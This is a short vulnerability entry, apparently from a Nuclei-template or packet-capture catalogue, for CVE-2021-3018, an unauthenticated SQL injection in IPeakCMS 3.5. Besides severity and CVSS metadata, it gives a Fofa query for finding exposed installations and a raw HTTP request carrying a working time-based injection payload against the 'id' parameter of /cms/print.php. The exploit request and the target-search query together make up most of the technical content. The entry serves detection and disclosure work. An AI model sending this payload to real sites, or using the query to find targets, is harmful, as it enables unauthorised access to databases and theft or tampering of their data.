| Title | IPeakCMS 3.5 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, data tampering, or full database compromise. |
| Remediation | Apply the latest security patches or update to a version that fixes this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.70481 |
| CVE ID | CVE-2021-3018 |
| CWE ID | CWE-89 |
| Fofa Query | body="ipeak" && body="3.5" |
| Tags | cve cve2021 ipeakcms cms sqli unauth vkev vuln |
ipeak Infosystems ibexwebCMS 3.5 contains an unauthenticated Boolean-based SQL injection caused by unsanitized ‘id’ parameter in /cms/print.php, letting attackers execute arbitrary SQL commands, exploit requires no authentication.
GET /cms/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Connection: close
Accept-Encoding: gzip
GET /cms/print.php?id=1%20AND%207334=BENCHMARK(8000000,MD5(0x73636a72)) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3018.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3018.pcap
N/AN/A